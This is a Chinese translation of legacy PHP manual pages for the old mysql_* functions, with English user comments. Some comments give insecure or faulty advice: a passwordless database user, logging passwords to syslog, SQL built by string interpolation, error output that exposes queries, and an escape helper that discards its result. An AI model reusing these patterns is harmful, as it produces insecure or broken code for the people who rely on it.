Be careful when using multiple links to connect to same database (with same username). Unless you specify explicitly in mysql_connect() to create a new link, it will return an already open link. If that would be closed by mysql_close(), it will also (obviously) close the other connection, since the link is the same.
Had lot of trouble figuring it out, since in <=4.3.6 there was a bug which didn't close the connection, but after the patch to >=4.3.7, all my application broke down because of a single script that did this.
add a note add a note

后退 | 起点 | 前进
mysql_client_encoding | 上一级 | mysql_connect


mysql_connect

(PHP 3, PHP 4, PHP 5)

mysql_connect -- 打开一个到 MySQL 服务器的连接

说明

resource mysql_connect ( [string server [, string username [, string password [, bool new_link [, int client_flags]]]]] )

如果成功则返回一个 MySQL 连接标识，失败则返回 FALSE。

mysql_connect() 建立一个到 MySQL 服务器的连接。当没有提供可选参数时使用以下默认值：server = 'localhost:3306'，username = 服务器进程所有者的用户名，password = 空密码。

server 参数可以包括端口号。例如 "hostname:port" 或者是到本地套接字的路径，例如本机上的 ":/path/to/socket"。

注: 无论指定 "localhost" 或者 "localhost:port" 作为 server，MySQL 客户端库将覆盖之并尝试连接到本地套接字（Windows 中的名字管道）。如果希望使用 TCP/IP 连接，用 "127.0.0.1" 替代 "localhost"。如果 MySQL 客户端库试图连接到错误的本地套接字，则应该在 PHP 配置中将 mysql.default_host 设为正确的路径并使 server 字段为空。

":port" 的支持是 PHP 3.0B4 起加入的。

":/path/to/socket" 的支持是 PHP 3.0.10 起加入的。

可以在函数名前加上 @ 来抑制失败时产生的错误信息。

如果用同样的参数第二次调用 mysql_connect()，将不会建立新连接，而将返回已经打开的连接标识。参数 new_link 改变此行为并使 mysql_connect() 总是打开新的连接，甚至当 mysql_connect() 曾在前面被用同样的参数调用过。参数 client_flags 可以是以下常量的组合：MYSQL_CLIENT_COMPRESS，MYSQL_CLIENT_IGNORE_SPACE 或者 MYSQL_CLIENT_INTERACTIVE。

注: new_link 参数自 PHP 4.2.0 起可用。

client_flags 参数自 PHP 4.3.0 起可用。

一旦脚本结束，到服务器的连接就会被关闭。除非之前已经调用了 mysql_close() 来关闭它。

例子 1. MySQL 连接例子

<?php
    $link = mysql_connect("localhost", "mysql_user", "mysql_password")
        or die("Could not connect: " . mysql_error());
    print ("Connected successfully");
    mysql_close($link);
?>

参见 mysql_pconnect() 和 mysql_close()。

add a note add a note User Contributed Notes
rui dot batista at netcabo dot pt
31-May-2006 11:42
Ever wonder what "default username" is?
<?php
$link = mysql_connect() or die(mysql_error());
$result = mysql_query("SELECT SESSION_USER(), CURRENT_USER();");
$row = mysql_fetch_row($result);
echo "SESSION USER: ", $row[0], "<br>\n";
echo "CURRENT USER: ", $row[1], "<br>\n";
?>
Both are ODBC@localhost in my win2k install, so my advice for windows is:
- create a MySQL user named ODBC with no password
- add localhost to ODBC user [right-click ODBC]
- set schema previleges to ODBC@localhost
- use mysql_connect() with no parms, or do not use ;)
This turns to work also with odbc_connect:
odbc_connect("myDSN", "", "")
Aesar
10-May-2006 01:26
That's an interesting discovery. I don't think it should be this way, but I think it's more a firefox/browser bug (at least, if you see it as a bug) than a fault in mysql/php.

What happens if you load the pages in two different browser screens instead of two tabs?
Mario
09-May-2006 12:21
PHP (5.1.2) stores connections according to script name and remote host, apparently. If the same script is requested by the same browser in two different tabs (Firefox for this test) and requests a non-persistent connection using the same user and password, the connection will be shared.

Ran into this while testing a script for concurrent usage using "LOCK TABLES" queries... and found that one tab's script was blocking until the other finished. No blocking occurred when different machines loaded the same script at the same time. Very interesting.
25-Jun-2005 06:18
connect to mysql via named pipe under windows :

in my.ini, add this:

[mysqld]
enable-named-pipe

then connect to the server, then connect to mysql using

mysql_connect('.')
camitz at NOSPAM dot example dot com
28-Oct-2004 04:05
A description about the problem with the password hashing and how to adress them can be found at http://dev.mysql.com/doc/mysql/en/Password_hashing.html
chaoscontrol_hq at yahoo dot com
24-Aug-2004 05:10
In MySQL4.1 and later, the default password hashing format has changed making it incompatible with 3.x clients.
I found out mysql_connect() works on server versions >= 4.1 when your MySQL user password is blank because password authentication isn't done in that case, otherwise you need to use another connection method (e.g. mysqli).
Also if you are using old MySQL tables on a new server (i.e. the passwords are stored in the old format), then the server will use the old auth method automatically and this function should work in all cases.
Hopefully this will help someone, it had me confused for a while because some of the users on my 4.1 server could connect and some couldn't.
martinnitram at excite dot com
31-Oct-2003 06:22
to use load data local infile function from mysql (at mysql 4.0.16, php 4.3.3), set fifth parameter of mysql_connect() to CLIENT_LOCAL_FILES(128), which based on MYSQL C API ( also mysql server support load file, check by "show variables like 'local_infile' ")

Thank  'phpweb at eden2 dot com' to point this out
phpweb at eden2 dot com
28-Jun-2003 02:55
client_flags can be things other than MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE and MYSQL_CLIENT_INTERACTIVE.

I presume that mysql_connect() just passes through to the C MySQL API, which provides these constants:

#define CLIENT_LONG_PASSWORD    1    /* new more secure passwords */
#define CLIENT_FOUND_ROWS    2    /* Found instead of affected rows */
#define CLIENT_LONG_FLAG    4    /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB    8    /* One can specify db on connect */
#define CLIENT_NO_SCHEMA    16    /* Don't allow database.table.column */
#define CLIENT_COMPRESS        32    /* Can use compression protocol */
#define CLIENT_ODBC        64    /* Odbc client */
#define CLIENT_LOCAL_FILES    128    /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE    256    /* Ignore spaces before '(' */
#define CLIENT_CHANGE_USER    512    /* Support the mysql_change_user() */
#define CLIENT_INTERACTIVE    1024    /* This is an interactive client */
#define CLIENT_SSL              2048    /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE  4096    /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS    8192    /* Client knows about transactions */

Not all of these may work or be meaningful, but CLIENT_FOUND_ROWS does, at least.
Graham_Rule at ed dot ac dot uk
14-May-2003 11:43
Another solution to the security problems of putting usernames and passwords into scripts. I haven't found this documented anywhere else so thought I'd suggest it for the online documentation. ........

Don't put passwords for mysql into scripts which may be read by any user on the machine.  Instead put them into an Apache configuration file and make sure that it is not world-readable. (Apache reads its main config files as root.)

For example, add this to your httpd.conf (and chmod it to 600 or 660) then tell your apache to reload itself (apachectl graceful).

<Directory /var/www/html/mydatabase>
   php_value mysql.default_user fred
   php_value mysql.default_password secret
   php_value mysql.default_host server.example.com
</Directory>

Then all you need in your PHP code is

$handle = mysql_connect() or die(mysql_error());

The passwords etc will only be picked up by scripts running in the named directory (or a sub-directory).  The same may be done for virtualhosts etc.

If you don't want to keep reloading your Apache server then you ay test things putting the php_value directives into a (world readable) .htaccess file. (Clearly not for production use.)

If you need to debug the values that are being supplied (or not) then use this snippet:

@syslog(LOG_DEBUG, "Using user=".ini_get("mysql.default_user").
           " pass=".ini_get("mysql.default_password").
           " host=".ini_get("mysql.default_host"));

(This assumes that you are not running in 'safe_mode' and that you are on a unix of some sort.)
amn -at- frognet.net
12-Mar-2003 02:40
Just in case you didn't know. You can use mysql_connect in a function to connect to a database and the connection is a super-global... meaning you can use mysql_query in other functions or in no function at all and PHP will use the connection that you opened. This is a handy bit of knowledge that helps if you have a large site with lots of scripts. If you create one function to connect to a db, and call that function in all your scripts, it makes for easier code maintenance since you only have to update one line of code to change your mysql connection instead of updating all your scripts individually.
rec0rder at lycos dot com
10-Apr-2002 02:54
The method I use to "protect" mySQL connect is to place dbConnect.php outside the web directory.

I will create a directory:
/var/include/

Put "dbConnect.php" into
/var/include/

Edit your php.ini file to read "/var/include/" an include directory.

In your PHP now, you just have to do:
require("dbConnect.php");
nospam at code24 dot com
27-Mar-2002 07:37
There should already be a post in here about this, but I would like to follow up on the idea that anyone can read your .inc files, which might contain username/password combos for mysql access.

There is a very simple way to block this.

If you are using Apache, just edit your httpd.conf file, and look for the following lines:

<Files ~ "^\.ht">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Okay... that little chunk of text is saying that you don't want files that begin with .ht to be readable through apache. We also don't want people to see any files that end with .inc.

So, just add the following chunk of text to your httpd.conf file:

<Files ~ "\.inc(\.php)?$>
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

This will block anyone from seeing your .inc files over the web.  It is much smarter than naming include files, "*.php".  Use the .php extension for your code, and save .inc for actual include data, and don't worry about people reading your .inc's anymore.

Hope this helps somebody.  Oh yeah... one other thing... obviously, anytime you make a change to httpd.conf (or whatever you have named your Apache config file), you must restart apache for the changes to take effect.
add a note add a note

后退 | 起点 | 前进
mysql_close | 上一级 | mysql_create_db


mysql_create_db

(PHP 3, PHP 4, PHP 5)

mysql_create_db -- 新建一个 MySQL 数据库

说明

bool mysql_create_db ( string database name [, resource link_identifier] )

mysql_create_db() 尝试在指定的连接标识所关联的服务器上建立一个新数据库。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. MySQL 新建数据库例子

<?php
    $link = mysql_pconnect("localhost", "mysql_user", "mysql_password")
        or die("Could not connect: " . mysql_error());

    if (mysql_create_db("my_db")) {
        print ("Database created successfully\n");
    } else {
        printf ("Error creating database: %s\n", mysql_error());
    }
?>

为向下兼容也可以用 mysql_createdb()，但并不提倡。

注: 不提倡使用函数 mysql_create_db()。最好用 mysql_query() 来提交一条 SQL CREATE DATABASE 语句来替代。

警告

如果 MySQL 扩展库是基于 MySQL 4.x 客户端库建立的，则本函数不可用。

参见 mysql_drop_db() 和 mysql_query()。

add a note add a note User Contributed Notes
omer
21-Jun-2005 08:42
for MySQL4.1 lib users;

as noted the function is a no-go for MySQL4.1 libs.  While i do not know the logic behind this i was relieved to see that

mysql_connect ("localhost","$user","$password")
$soru = 'CREATE DATABASE '.$dbname;
mysql_query($soru);

worked just fine...
add a note add a note

后退 | 起点 | 前进
mysql_connect | 上一级 | mysql_data_seek


mysql_data_seek

(PHP 3, PHP 4, PHP 5)

mysql_data_seek -- 移动内部结果的指针

说明

bool mysql_data_seek ( resource result_identifier, int row_number )

如果成功则返回 TRUE，失败则返回 FALSE。

mysql_data_seek() 将指定的结果标识所关联的 MySQL 结果内部的行指针移动到指定的行号。接着调用 mysql_fetch_row() 将返回那一行。

row_number 从 0 开始。row_number 的取值范围应该从 0 到 mysql_num_rows - 1。

注:
      mysql_data_seek() 只能和
      mysql_query() 结合起来使用，而不能用于
      mysql_unbuffered_query()。

例子 1. MySQL 数据检索例子

<?php
    $link = mysql_pconnect("localhost", "mysql_user", "mysql_password")
        or die("Could not connect: " . mysql_error());

    mysql_select_db("samp_db")
        or die("Could not select database: " . mysql_error());

    $query = "SELECT last_name, first_name FROM friends";
    $result = mysql_query($query)
        or die("Query failed: " . mysql_error());

    /* fetch rows in reverse order */
    for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
        if (!mysql_data_seek($result, $i)) {
            echo "Cannot seek to row $i: " . mysql_error() . "\n";
            continue;
        }

        if(!($row = mysql_fetch_object($result)))
            continue;

        echo "$row->last_name $row->first_name<br />\n";
    }

    mysql_free_result($result);
?>

参见 mysql_query() 和 mysql_num_rows()。

add a note add a note User Contributed Notes
30-May-2006 04:52
A helpful note about the 'resource' data type.

Since the 'resource' variable is pointing to a row in a result set at any given time, you can think of it as being passed to this function by reference every time you pass it or assign it to a variable.

<?

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
   // do stuff with $row
}

while ($row = mysql_fetch_assoc($result)) {
   // This code will never run because the 'resource' variable is pointing past the end of the result set,
   // even though it was *not* assigned by reference to $result2.
}

?>

Therefore, the following snipits are functionally identical:

<?

// Start snipit 1

$sql = "SELECT * from <table>";
$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {
   // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($result)) {
   // do other stuff with $row
}

// Start snipit 2

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
   // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($temp_result)) {
   // do other stuff with $row
}

?>
jonybd at yahoo dot com
27-Jun-2005 08:40
/*
   helpfull for real time databases query
   - Query one time
   - Retreive data twice from the same query
   - mysql_data_seek *

*/

include("p_MySql_Connection.php");

$v_Query    =    "SELECT f1 from t1";

$v_Result    =    mysql_query($v_Query, $v_RS);

/*
   First loop for one single query
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
   $v_total = $v_total + $row[1];
}
   echo $v_total;

/*
   Retreive data
*/
$v_Re    =    mysql_data_seek($v_Result,0);
if (!$v_Re){
   echo 'MySql data seek Error' .  mysql_error();
}

/*
   Second loop for one single query
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
   echo $row[0];

}
arturo_b at hotmail dot com
21-Apr-2005 11:53
hello, this script would be easy to understand for those that are novice in php whose want to understand about this function:

the table "user" have 2 columns "id" and "name".
"user" content:
position 0: "id"=195342481 "name"='Arthur'
position 1: "id"=179154675 "name"='John'
>>position 2<<: "id"=157761949 "name"='April' >>third row<<
position 3: "id"=124492684 "name"='Tammy'
position 4: "id"=191346457 "name"='Mike'

<?php
  mysql_connect("localhost", "root")
  mysql_select_db("test");
  $sql = mysql_query("select * from user");
  mysql_data_seek($sql, 2);
  echo "<table border=1>";
  while ($row = mysql_fetch_row($sql)){
   echo "<tr><td>$row[0]</td><td>$row[1]</td></tr>";
  }
  echo "</tabla>";
?>

explanation:
mysql_data_seek move internal result pointer to the third row of table user. Thus mysql_fetch_row will begin by aprils row.
b.steinbrink at g m x dot de
09-Dec-2004 03:09
to kennethnash1134 at yahoo dot com

your loop can be done like this as well and i guess this is faster:

$r=mysql_query("select user,id,ip from accounts limit 10");

unset($users); // Just to be sure
while($users[] = mysql_fetch_row);
array_pop($users); // Drop the last entry which is FALSE
kennethnash1134 at yahoo dot com
26-Mar-2004 04:12
/*here is a nice function for converting a mysql result row set into a 2d array, a time saver if need small data from several rows, saves you from having to do Alot of queries... would be nice to have this built into PHP future versions :) */

// simple example query
$r=mysql_query("select user,id,ip from accounts limit 10");

//starts the for loop, using mysql_num_rows() to count total
//amount of rows returned by $r
for($i=0; $i<mysql_num_rows($r); $i++){
             //advances the row in the mysql resource $r
   mysql_data_seek($r,$i);
             //assigns the array keys, $users[row][field]
   $users[$i]=mysql_fetch_row($r);
}

//simple, hope someone can use it :)
// -Kenneth Nash
justus dot brugman at 12move dot nl
15-Oct-2000 05:59
So you can use it as the equivalent of the reset() call for an array.
eg.
while ($row = mysql_fetch_object($result_01))
{
// code goes here
  while ($row = mysql_fetch_object($result_02))
  {
   // code goes here.
  }
  mysql_data_seek($result_02,0)
}

Still hoping that there is going to be a better way, like mysql_reset($result).
add a note add a note

后退 | 起点 | 前进
mysql_create_db | 上一级 | mysql_db_name


mysql_db_name

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mysql_db_name -- 取得结果数据

说明

string mysql_db_name ( resource result, int row [, mixed field] )

mysql_db_name() 将调用 mysql_list_dbs() 返回的结果指针作为第一个参数。row 参数是结果集中的一个索引。

如果出错则返回 FALSE。用 mysql_errno() 和 mysql_error() 来确定错误的种类。

例子 1. mysql_db_name() 例子

<?php
    error_reporting(E_ALL);

    mysql_connect('dbhost', 'username', 'password');
    $db_list = mysql_list_dbs();

    $i = 0;
    $cnt = mysql_num_rows($db_list);
    while ($i < $cnt) {
        echo mysql_db_name($db_list, $i) . "\n";
        $i++;
    }
?>

为向下兼容也可以用 mysql_dbname()。但并不提倡。

add a note add a note User Contributed Notes
ericpp % bigfoot.com
17-Mar-2005 12:13
If you just need the current database name, you can use MySQL's SELECT DATABASE() command:

<?php
function mysql_current_db() {
   $r = mysql_query("SELECT DATABASE()") or die(mysql_error());
   return mysql_result($r,0);
}
?>
add a note add a note

后退 | 起点 | 前进
mysql_data_seek | 上一级 | mysql_db_query


mysql_db_query

(PHP 3, PHP 4, PHP 5)

mysql_db_query -- 发送一条 MySQL 查询

说明

resource mysql_db_query ( string database, string query [, resource link_identifier] )

根据查询结果返回一个正的 MySQL 结果资源号，出错时返回 FALSE。本函数会对 INSERT/UPDATE/DELETE 查询返回 TRUE/FALSE 来指示成功或失败。

mysql_db_query() 选择一个数据库并在其上执行查询。如果没有提供可选的连接标识，本函数会去找一个到 MySQL 服务器的已打开的连接，如果找不到已打开连接则会尝试无参数调用 mysql_connect() 来建立一个。

注意此函数不会切换回先前连接到的数据库。换句话说，不能用此函数临时在另一个数据库上执行 sql 查询，只能手工切换回来。强烈建议用户在 sql 查询中使用 database.table 语法来替代此函数。

参见 mysql_connect() 和 mysql_query()。

注: 自 PHP 4.0.6 起不提倡使用此函数。不要用此函数，用 mysql_select_db() 和 mysql_query() 来替代。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_db_name | 上一级 | mysql_drop_db


mysql_drop_db

(PHP 3, PHP 4, PHP 5)

mysql_drop_db -- 丢弃（删除）一个 MySQL 数据库

说明

bool mysql_drop_db ( string database_name [, resource link_identifier] )

mysql_drop_db() 尝试丢弃（删除）指定连接标识所关联的服务器上的一整个数据库。

如果成功则返回 TRUE，失败则返回 FALSE。

为向下兼容也可以用 mysql_dropdb()，但反对这样做。

注: 不提倡使用 mysql_drop_db() 函数。最好用 mysql_query() 提交一条 SQL DROP DATABASE 语句来替代。

警告

如果 MySQL 扩展库是基于 MySQL 4.x 客户端库建立的，则本函数不可用。

参见 mysql_create_db() 和 mysql_query()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_db_query | 上一级 | mysql_errno


mysql_errno

(PHP 3, PHP 4, PHP 5)

mysql_errno -- 返回上一个 MySQL 操作中的错误信息的数字编码

说明

int mysql_errno ( [resource link_identifier] )

返回上一个 MySQL 函数的错误号码，如果没有出错则返回 0（零）。

从 MySQL 数据库后端来的错误不再发出警告，要用
mysql_errno() 来提取错误代码。注意本函数仅返回最近一次
MySQL 函数的执行（不包括 mysql_error() 和
mysql_errno()）的错误代码，因此如果要使用此函数，确保在调用另一个
MySQL 函数之前检查它的值。

例子 1. mysql_errno() 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password");

    mysql_select_db("nonexistentdb");
    echo mysql_errno() . ": " . mysql_error(). "\n";

    mysql_select_db("kossu");
    mysql_query("SELECT * FROM nonexistenttable");
    echo mysql_errno() . ": " . mysql_error() . "\n";
?>

以上例子将产生如下输出：

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

注: 如果指定了可选参数则用给定的连接提取错误代码。否则使用上一个打开的连接。

参见 mysql_error()。

add a note add a note User Contributed Notes
simon at paarlberg dot dk
13-Dec-2005 07:40
Function for creating unique md5 keys in a database. If there are duplets, then a new md5-key will be generated. For your use:

  function users_md5create($id){
   global $mysql_link;

   while ($done==0) {
     $md5key = md5(time().($id/2).$loop).md5(time().$id.$loop);
     $query = "INSERT INTO users_md5create SET md5key='$md5key', fkey='$id', created=UNIX_TIMESTAMP() ";
     $mysql_result = mysql_query($query, $mysql_link);
     if(mysql_errno($mysql_link)!=1062) $done=1;
     $loop++;
   }

   return($md5key);
  }
phpnet at vemconcursos dot com
08-Dec-2005 10:31
Watch out! Although mysql_errno() supposedly returns the error number from the last MySQL function, if you don't specify a link identifier, it assumes the last link *opened*, NOT the last link *used*.

That means you can actually have mysql_errno() blindly ignore the error caused by the last MySQL function if it didn't use the last opened link.

Here's an example:

$link1 = mysql_connect('localhost', 'user1', 'password1');
$link2 = mysql_connect('localhost', 'user2', 'password2');

// do something wrong using the first link
mysql_select_db('nonexistentdb', $link1);

// if you don't specify the link identifier ...
if (mysql_errno()) {
  // the error from the last MySQL function is not reported
  echo mysql_errno() . ': ' . mysql_error() . "\n";
}
admin at artfabrique dot ru
18-Oct-2005 08:28
All MySQL ErrorCodes can be found in its' on-line manual.
For lazy one here is the link :
http://dev.mysql.com/doc/refman/5.0/en/error-handling.html
apoio at cyberspace dot org
30-Jun-2000 08:58
All mysqld error messages are located into the file /usr/local/share/mysql/english/errmsg.txt and listed in numerical order from 999 to 1175. You can change the output language as well, issuing the '-L spanish' option for example. See the manual for more details.
add a note add a note

后退 | 起点 | 前进
mysql_drop_db | 上一级 | mysql_error


mysql_error

(PHP 3, PHP 4, PHP 5)

mysql_error -- 返回上一个 MySQL 操作产生的文本错误信息

说明

string mysql_error ( [resource link_identifier] )

返回上一个 MySQL 函数的错误文本，如果没有出错则返回 ''（空字符串）。如果没有指定连接资源号，则使用上一个成功打开的连接从 MySQL 服务器提取错误信息。

从 MySQL 数据库后端来的错误不再发出警告，要用
mysql_error() 来提取错误文本。注意本函数仅返回最近一次
MySQL 函数的执行（不包括 mysql_error() 和
mysql_errno()）的错误文本，因此如果要使用此函数，确保在调用另一个
MySQL 函数之前检查它的值。

例子 1. mysql_error 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password");

    mysql_select_db("nonexistentdb");
    echo mysql_errno() . ": " . mysql_error(). "\n";

    mysql_select_db("kossu");
    mysql_query("SELECT * FROM nonexistenttable");
    echo mysql_errno() . ": " . mysql_error() . "\n";
?>

以上例子将产生如下输出：

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

参见 mysql_errno()。

add a note add a note User Contributed Notes
05-Jan-2005 04:53
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
aleczapka _at) gmx dot net
17-Jul-2004 01:05
If you want to display errors like "Access denied...", when mysql_error() returns "" and mysql_errno() returns 0, use  $php_errormsg. This Warning will be stored there.  You need to have track_errors set to true in your php.ini.

Note. There is a bug in either documentation about error_reporting() or in mysql_error() function cause manual for mysql_error(), says:  "Errors coming back from the MySQL database backend no longer issue warnings." Which is not true.
olaf at amen-online dot de
23-Jun-2004 02:08
When dealing with user input, make sure that you use
<?php
echo htmlspecialchars (mysql_error ());
?>
instead of
<?php
echo mysql_error ();
?>

Otherwise it might be possible to crack into your system by submitting data that causes the SQL query to fail and that also contains javascript commands.

Would it make sense to change the examples in the documentation for mysql_query () and for mysql_error () accordingly?
miko_il AT yahoo DOT com
12-Dec-2003 03:25
Following are error codes that may appear when you call MySQL from any host language:

http://www.mysql.com/doc/en/Error-returns.html
josh ><>
14-Oct-2003 07:26
Oops, the code in my previous post only works for queries that don't return data (INSERT, UPDATE, DELETE, etc.), this updated function should work for all types of queries (using $result = myquery($query);):

   function myquery ($query) {
       $result = mysql_query($query);
       if (mysql_errno())
           echo "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
       return $result;
   }
scott at rocketpack dot net
25-Jul-2003 05:44
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
10-May-2001 10:03
some error can't handle. Example:

ERROR 1044: Access denied for user: 'ituser@mail.ramon.intranet' to database 'itcom'

This error ocurrs when a intent of a sql insert of no authorized user. The results: mysql_errno = 0 and the mysql_error = "" .
add a note add a note

后退 | 起点 | 前进
mysql_errno | 上一级 | mysql_escape_string


mysql_escape_string

(PHP 4 >= 4.0.3, PHP 5)

mysql_escape_string -- 转义一个字符串用于 mysql_query

说明

string mysql_escape_string ( string unescaped_string )

本函数将 unescaped_string 转义，使之可以安全用于 mysql_query()。

注: mysql_escape_string() 并不转义 % 和 _。

本函数和
mysql_real_escape_string() 完全一样，除了
mysql_real_escape_string()
接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string()
并不接受连接参数，也不管当前字符集设定。

例子 1. mysql_escape_string() 例子

<?php
    $item = "Zak's Laptop";
    $escaped_item = mysql_escape_string($item);
    printf ("Escaped string: %s\n", $escaped_item);
?>

以上例子将产生如下输出：

Escaped string: Zak\'s Laptop

参见 mysql_real_escape_string()，addslashes() 和 magic_quotes_gpc 指令。

add a note add a note User Contributed Notes
mbr at arlsoft dot com
31-Jul-2005 10:52
steve at tequilasolutions dot com suggests base64_encode() as a
better choice than bin2hex().  Unfortunately, it's not that
simple.  Since serialize() can be used with either of them, I
won't consider it in this argument.  But it's important to
consider not only what happens when you store the data with an
INSERT or UPDATE, but also what happens when you later fetch the
data with a SELECT.

Storing data using INSERT or UPDATE:
   Size of the string in the PHP variable:
       base64_encode(): approx. 1.33 * length of the data
       bin2hex(): 2 * length of the data
   Size of data transmitted to the MySQL server:
       base64_encode(): approx. 1.33 * length of the data
       bin2hex(): 2 * length of the data
   Size of data stored in the MySQL server:
       base64_encode():
           The SQL parser will see the argument "..." and store
           whatever bytes it finds inside the quotes.  So the
           disk space required to store this is approx. 1.33
           times the length of the data.
       bin2hex():
           The SQL parser will see the argument x'...',
           recognize it as indicating that the argument is
           encoded as hexadecimal, convert it back a string half
           the length of the hex representation, and store the
           result.  So the disk space required to store this is
           the same as the original length of the data.

Fetching data using SELECT:
   Size of data transmitted from the MySQL server:
       base64_encode():
           The same as what's stored in the database -
           approx. 1.33 times the length of the original data.
       bin2hex():
           The same as what's stored in the database - the
           length of the original data

I've summarized the comparison below:

Storing data:
   processing time on the PHP side
       unknown whether base64_encode() or bin2hex() runs faster.
   bandwidth
       base64_encode() transmits fewer bytes across the link.
   processing time on MySQL side
       unknown whether decoding hex inside x'' (the bin2hex()
       case) is notably slower than searching inside "" for (and
       not finding any) characters escaped by a backslash (the
       base64_encode() case).
   data storage in MySQL
       bin2hex() is better - base64_encode() inflates data by
       about 33%, whereas the data encoded by bin2hex() is
       placed inside quotes that cause it to be deflated back to
       its original size before it is stored.

Fetching data:
   bandwidth
       bin2hex() is better - data encoded by base64_encode()
       before storage will have been inflated by about 33%.
   processing time on the PHP side
       bin2hex() is better - since the data was already decoded
       by the SQL parser before it was stored, bin2hex()
       requires no decoding, whereas data encoded by
       base64_encode() before storage must be decoded by
       base64_decode() whenever it is fetched.

Summary:

   The bin2hex() approach seems better for something like a
   store catalog, which changes infrequently, but which is
   viewed frequently (the store owners hope :-) ).

   The base64_encode() approach seems better for something like
   a network management system which constantly logs alarms from
   network devices, but which is queried infrequently.
steve at tequilasolutions dot com
24-May-2005 04:57
Also... (see previous) I don't bother because my blobs are always multimedia files so don't compress well but if you were storing word docs etc adding compression into the mix saves space and will often be smaller than the original data.

e.g, - off the top of my head this, not syntax checked

$x = enc($mydata);
mysql_query("insert into table values('$x')");

function enc($x){
  return base64_encode(bzcompress(serialize($x),9));
}

function dec($x){
  return unserialize(bzdecompress(base64_decode($x)));
}
steve at tequilasolutions dot com
23-May-2005 10:39
Rather than bin2hex use a combination of serialise and base64.  Data gets 33% bigger than source but with bin2hex data gets 90% bigger.

I have two functions for encoding and decoding data before use in sql.  Using serialse preserves the datatypes so that you can insert any data you like, arrays etc.

function enc($x){
  return base64_encode(serialize($x));
}

function dec($x){
  return unserialize(base64_decode($x));
}
codeslinger at compsalot dot com
06-Feb-2005 04:49
er um...  version_compare did not exist prior to 4.1.0

in any case, adding slashes and dealing with magic quotes etc.  is a sure recipe for major headaches.

You can avoid a whole slew of problems by converting your strings to hex (bin2hex) before passing them to mySQL

mySQL will accept any value in the form of
0xFEAC1234...

It will then automagically convert it back to a string for storage and retrieval while avoiding all of the zillions of problems with special characters.

I have done this with some very large records and never had a problem.
04-Feb-2005 04:03
Here's the solution I came up with for unescaping.  I'm not a "real" programmer so there's probably some huge problem with this.  I've been using it for a while and it seems to work okay though.

function escape_string($string) {

   $string = nl2br($string);
   if(version_compare(phpversion(),"4.3.0")=="-1") {
     $string = mysql_escape_string($string);
   } else {
     $string = mysql_real_escape_string($string);
   }
   return $string;
}

function unescape_string($string) {
  stripslashes($string);
  $string = str_replace('<br />', Chr(13), $string);
  return $string;
  }
boris-pieper AT t-online DOT de
16-Jan-2005 07:07
Using a function like escape_string make sure you allways use optimal escape function...

Note: You should use mysql_real_escape_string() (http://php.net/mysql_real_escape_string) if possible (PHP => 4.3.0) instead of mysql_escape_string().

<?php

function escape_string ($string) {
   if(version_compare(phpversion(),"4.3.0")=="-1") {
     mysql_escape_string($string);
   } else {
     mysql_real_escape_string($string);
   }
}

?>
add a note add a note

后退 | 起点 | 前进
mysql_error | 上一级 | mysql_fetch_array


mysql_fetch_array

(PHP 3, PHP 4, PHP 5)

mysql_fetch_array -- 从结果集中取得一行作为关联数组，或数字数组，或二者兼有

说明

array mysql_fetch_array ( resource result [, int result_type] )

返回根据从结果集取得的行生成的数组，如果没有更多行则返回 FALSE。

mysql_fetch_array() 是 mysql_fetch_row() 的扩展版本。除了将数据以数字索引方式储存在数组中之外，还可以将数据作为关联索引储存，用字段名作为键名。

